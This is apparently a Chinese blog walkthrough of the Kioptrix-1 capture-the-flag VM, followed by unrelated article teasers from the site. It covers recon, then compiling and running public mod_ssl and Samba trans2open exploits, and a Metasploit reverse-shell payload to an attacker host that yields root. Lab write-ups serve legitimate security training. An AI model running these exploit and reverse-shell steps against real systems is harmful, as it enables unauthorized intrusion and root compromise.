skyler实战渗透笔记—Kioptrix-1

ops/2024/12/22 15:16:10/

0x00 前言

This Kioptrix VM Image are easy challenges. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.

 困难:easy

0x01 信息收集

这次的机器有点问题,下载下来以后,NAT下无法扫描到靶机。

后来检索到方法:

需要编辑VMX configuration file文件,把里头的bridged换成nat,但保留最后一个bridged

 

 保存重启就好。

猜测应该是虚拟机默认网络配置的问题,由于对操作系统比较熟悉,这边提供下我的思路:

1、可以通过grub进入单用户模式,然后重置密码,再查看网卡配置

2、但是发现系统本身默认设置grub时间为0,导致根本进不了单用户

3、所以考虑挂载redhat镜像,并在修复模式下挂载靶机本地硬盘,修改grub配置,再尝试单用户模式修改密码进入。

OK,老规矩,找一下目标机器

端口扫一下:

 得到开放的端口:22,80,111,139,443,1024,并得到在对应端口下使用的软件(mod_ssl/samba)。

通过端口扫描得知 apache-1.3.20,openssl-0.9.6b,mod_ssl-2.8.4(老版,谷歌搜索漏洞)
对于端口使用的插件,在下面将专门对其进行漏洞挖掘


03 目录扫描
dirb http://10.10.16.152
对 dirb 爬行的目录进行访问,没有发现可利用的价值。


04 漏洞挖掘
nikto -h 10.10.16.152

 使用 nikto 进行 web 扫描发现几处可利用漏洞。

可以使用在线漏洞数据库搜索相对应的版本漏洞

https://www.exploit-db.com/search

05 漏洞利用
0x01 mod_ssl ( remote buffer overflow )
使用 Kali 自带的漏洞查找工具查找本地所有漏洞和 shellcode

searchsploit mod_ssl

 ps: 如果使用 764.c 脚本的话,应为该脚本版本太老,所以还需对其内容进行修改,有点麻烦,这里直接使用 47080.c 脚本。

764.c 修改

在桌面新建一个 Kioptrix 文件夹,将 47080.c 文件拷贝过去,查看文件头得知文件的使用方法:要先安装 libssl-dev 库才能编译文件。

cp /usr/share/exploitdb/exploits/unix/remote/47080.c .
head 47080.c
sudo apt-get install libssl-dev
gcc -o OpenFuck 47080.c -lcrypto
编译之后运行生成的二进制文件,发现使用该二进制文件的方法。

由于该靶机使用 apache-1.3.20,所以将 target 定位到 0x6a - 0x6b

 0x02 samba 2.2

① remote code excution
利用 msf 的 auxiliary/scanner/smb/smb_version 模块得知靶机使用 samba-2.2.1a

搜索 samba 2.2 的漏洞利用模块,发现最下方的 Remote Code Excution

将该模块下的脚本复制到自定义的文件夹里面,查看文件头,编译脚本。

cp /usr/share/exploitdb/exploits/multiple/remote/10.c .
head 10.c
gcc -o samba 10.c

./samba -b 0 10.10.16.152 # -b 0 是指 Linux

 ② Remote Buffer Overflow


gcc -o call_trans2open 22469.c
 


./call_trans2open -t 10.10.16.152
 


③ 利用 msf
从上面 searchsploit 的结果来看,还有几个模块是关于 metasploit 的,因此可以利用 msf 来getshell 提权。

msfconsole
use exploit/linux/samba/trans2open

使用 show options 查看要添加什么参数

使用该模块下的一个 payload

set payload linux/x86/shell_reverse_tcp

set rhosts 10.10.16.152
set lhost 10.10.16.128
exploit
 

ps: 使用 python -v 查看当前 python 版本是 python 1.5 ,所以不能使用 python -c ‘import pty;pty.spawn("/bin/bash");’ ,可以使用 passwd 可以改变 root 密码,然后通过 ssh 登录 root 账户获取完全交互式 shell。


0x03 capture the flag
cat /var/mail/root

0x03 思路总结

这次的题目比较简单,目录扫描后发现没什么可用内容,就直接扫一下漏洞,找基本信息,看看有哪一些可利用的漏洞就可以。


http://www.ppmy.cn/ops/144052.html

相关文章

Java进程占用的内存有哪些部分?

大家好,我是锋哥。今天分享关于【Java进程占用的内存有哪些部分?】面试题。希望对大家有帮助; Java进程占用的内存有哪些部分? 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 Java进程在运行时,会将内存划分为多个区域&#xf…

STM32-笔记5-按键点灯(中断方法)

1、复制03-流水灯项目,重命名06-按键点灯(中断法) 在\Drivers\BSP目录下创建一个文件夹exti,在该文件夹下,创建两个文件exti.c和exti.h文件,并且把这两个文件加载到项目中,打开项目工程文件 加载…

鸿蒙审核版本页面显示异常之混淆代码问题

鸿蒙审核版本页面显示异常之混淆代码问题 参考文档 代码写的好好的,真机测试也运行的好好的,高高兴兴的提测去了。都填好了之后就等着测试结果了。 等了半天收到了一个页面无法展示的评审意见。啊,难道是测试的网络有问题?还是…

C++ 面向对象编程

面向对象编程(Object-Oriented Programming, OOP)是C语言的一个重要特性,它允许开发者以更直观和模块化的方式来设计和构建程序。OOP的四个主要原则是:封装(Encapsulation)、继承(Inheritance&a…

npm下载依赖相关命令

目录 一、基本命令 1.查看npm版本 2.升级npm 3.查看帮助 4.初始化项目 二、包管理命令 1.安装依赖 2.查看已安装的包 3.更新包 4.卸载包 5.查看包信息 6.搜索包 三、配置与发布命令 1.查看配置信息 2.设置配置信息 3.删除配置信息 4.登录npm 5.发布包 6.设…

flux模型的下载、配套及简易使用记录(ubuntu)

我在学习使用时,很迷惘各个模型放在什么 位置。以及他们的作用。所以系统的了解了一下。然后记录了,一下,希望能帮助到想了解这个知识的朋友。 另外,我将持续的更新这个专辑。记录我在学习和使用过程中关于comfy的方面。希望得到…

SEO初学者-搜索引擎如何工作

搜索引擎基础搜索引擎是如何建立索引的搜索引擎如何对网页进行排名搜索引擎是如何个性化搜索结果的 搜索引擎的工作方式是使用网络爬虫抓取数十亿个页面。爬虫也称为蜘蛛或机器人,它们在网络上导航并跟踪链接以查找新页面。然后,这些页面会被添加到搜索引…

为markdown导出的pdf添加页眉页脚

为Markdown导出的PDF添加页眉页脚 环境 vscode扩展:Markdown PDF 操作方式 快捷键 Ctrl, 打开设置搜索 “markdown-pdf”找到设置 页眉: Markdown-pdf: Header Template页脚: Markdown-pdf: Footer Template 页眉插入示例内容: 此处使用base64内嵌…